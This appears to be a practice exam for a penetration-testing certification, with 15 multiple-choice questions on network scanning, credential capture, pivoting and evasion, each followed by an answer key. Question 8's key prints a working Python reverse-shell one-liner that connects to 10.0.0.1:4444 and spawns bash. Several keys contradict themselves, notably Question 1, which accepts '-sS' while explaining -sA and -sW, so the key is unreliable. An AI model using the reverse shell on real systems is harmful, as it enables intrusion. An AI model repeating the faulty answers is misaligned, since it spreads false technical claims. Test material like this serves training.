CPENT Network And Perimeter Exploitation Practice Test 1 — 15 Questions

Question 1

When performing a network penetration test against an organization with strict perimeter defenses, which TWO Nmap scanning techniques can be utilized to map out firewall rules and filter states? (Choose TWO)

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

-sS. TCP ACK scan (-sA) and TCP Window scan (-sW) are specifically designed to map firewall rulesets and determine whether ports are filtered or unfiltered by examining TCP window sizes and RST responses.

Answer

-sT

Answer

-sU

Question 2

During an internal assessment, a tester wants to extract cleartext credentials from network traffic passing through a switched network segment where they have achieved ARP spoofing positioning. Which Wireshark display filter isolates SMB authentication handshakes to locate cleartext credential exchanges?

Accepted Answer

smb || smb2. SMB traffic relies heavily on SMB and SMB2 protocols. The display filter 'smb || smb2' isolates SMB protocol transactions.

Answer

kerberos

Answer

ldap

Answer

http.request or ftp.request

Question 3

An attacker is scanning a network and needs to determine which operating system is running on a target host by analyzing its TCP/IP stack response behaviors. What feature does Nmap provide for this?

Accepted Answer

-O. Nmap provides OS fingerprinting using the -O flag, which sends a series of TCP and UDP packets to the target and compares the responses to a database of known OS signatures.

Answer

-A

Answer

-sV

Answer

--traceroute

Question 4

A penetration tester is analyzing a network where ICMP echo requests are blocked by perimeter firewalls, making traditional host discovery fail. Which Nmap host discovery option should be used to discover live hosts using TCP ACK packets sent to port 80?

Accepted Answer

-PA80. The -PA flag in Nmap specifies a TCP ACK probe to determine if hosts are alive, as port 80 is frequently allowed through corporate firewalls.

Answer

-PS80

Answer

-PE

Answer

-PU80

Question 5

During an internal network assessment, a tester discovers that direct routing to a segmented VLAN is blocked, but an accessible host on that VLAN is running an SSH server. Which Metasploit auxiliary module can be used to set up a routing table so subsequent exploit modules can reach the isolated subnet through the compromised SSH host?

Accepted Answer

post/multi/manage/autoroute. auxiliary/server/socks_proxy combined with autoroute (run autoroute -s <subnet>) or ssh_login allows pivoting through an SSH session. Specifically, post/multi/manage/autoroute is commonly used to add routes through a session.

Answer

auxiliary/server/socks4a

Answer

auxiliary/scanner/portscan/tcp

Answer

exploit/unix/ssh/libssh_auth_bypass

Question 6

An elite penetration tester needs to bypass a strict perimeter stateful inspection firewall that drops fragmented packets and inspects TCP payload flags. They decide to use Nmap to send packets with the FIN, PSH, and URG flags set simultaneously (a Xmas scan). Which Nmap flag implements this?

Accepted Answer

-sX. The -sX flag instructs Nmap to perform a Xmas tree scan, setting the FIN, PSH, and URG flags, which can bypass certain stateless firewalls or exploit RFC compliance quirks in TCP stacks.

Answer

-sN

Answer

-sF

Answer

-sW

Question 7

An external penetration tester is tasked with enumerating valid usernames on an enterprise Microsoft Active Directory environment through the SMB protocol without triggering account lockout policies. Which tool is standard for this task?

Accepted Answer

Enum4linux. enum4linux or rpcclient can enumerate users. From an Nmap perspective, script-based enumeration using smb-enum-users is common, but specialized tools like enum4linux query RID cycling.

Answer

Aircrack-ng

Answer

John the Ripper

Answer

Hydra

Question 8

A penetration tester successfully compromises a Linux web server and needs to establish an encrypted interactive reverse shell back to their attacking machine, but standard netcat is not installed. Which native Python command-line snippet can be executed to spawn a bash shell back to the listener?

Accepted Answer

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")' is the standard python reverse shell payload.

Answer

python -c 'import pty; pty.spawn("/bin/sh")'

Answer

python -m SimpleHTTPServer 80

Answer

python -c 'print("Hello World")'

Question 9

A penetration tester needs to perform a stealthy TCP SYN scan against a target network using Nmap to avoid triggering simple stateless packet filters. Which command-line flag should be used?

Accepted Answer

-sS. The -sS flag tells Nmap to perform a TCP SYN scan, which sends a SYN packet and waits for a SYN-ACK response, never completing the full 3-way handshake, thus remaining stealthier.

Answer

-sA

Answer

-sU

Answer

-sT

Question 10

During an assessment, a penetration tester captures an LLMNR/NBT-NS broadcast request on the local network segment. Which tool can the tester use to spoof the response and capture the resulting NTLMv2 password hash when the victim machine attempts authentication?

Accepted Answer

Responder. Responder is the standard tool used to poison LLMNR, NBT-NS, and mDNS requests, capturing authentication hashes or relaying them to other targets.

Answer

Cain & Abel

Answer

Ettercap

Answer

Wireshark

Question 11

An attacker has gained command execution on an internal machine and wants to bypass egress filtering that blocks all outbound TCP and UDP ports except port 53. Which tool can be used to tunnel arbitrary TCP traffic encapsulated inside DNS queries out of the network?

Accepted Answer

Dnscat2. Dnscat2 or Iodine are prominent DNS tunneling tools used to route TCP traffic over DNS queries and responses, bypassing strict outbound port filters.

Answer

Socat

Answer

Metasploit Meterpreter reverse_tcp

Answer

Netcat

Question 12

A security analyst is auditing an internal network and wishes to identify all active DNS servers that allow unauthorized zone transfers (AXFR). Which tool is specifically designed to test for DNS zone transfer vulnerabilities?

Accepted Answer

Dig. Dig or host can perform zone transfers, but Fierce or dnsrecon are specialized DNS enumeration scripts, and 'dig @ns-server domain axfr' is the direct command.

Answer

Nbtscan

Answer

DirBuster

Answer

Snort

Question 13

A penetration tester has compromised an internal Windows workstation and wants to extract saved credentials from the Local Security Authority Subsystem Service (LSASS) memory. Which utility from the Sysinternals suite, frequently abused by red teams, can be used to safely dump the lsass.exe process memory?

Accepted Answer

ProcDump. Procdump, a Sysinternals utility, can be used to generate a memory dump of lsass.exe, which can then be transferred offline to extract NTLM hashes or cleartext passwords using Mimikatz.

Answer

Process Explorer

Answer

TCPView

Answer

Autoruns

Question 14

During an internal penetration test, you need to identify active Windows hosts on a local subnet without generating noisy TCP or UDP port scan traffic. Which tool and command natively uses ARP requests to quickly map live systems on the local Ethernet segment?

Accepted Answer

Netdiscover. netdiscover is an active/passive ARP reconnaissance tool designed specifically to scan live hosts on a local network segment using ARP requests.

Answer

Wireshark

Answer

Nikto

Answer

Sqlmap

Question 15

An attacker has established a foothold inside a corporate network and needs to scan an internal subnet without generating noisy network connections that trigger host-based IDS alerts. They decide to use an idle scan. Which Nmap argument implements an idle scan via a zombie host?

Accepted Answer

-sI. The -sI flag instructs Nmap to perform an idle scan using a specified zombie host, allowing completely blind port scanning where packets appear to originate from the zombie.

Answer

-sZ

Answer

-sO

Answer

-sM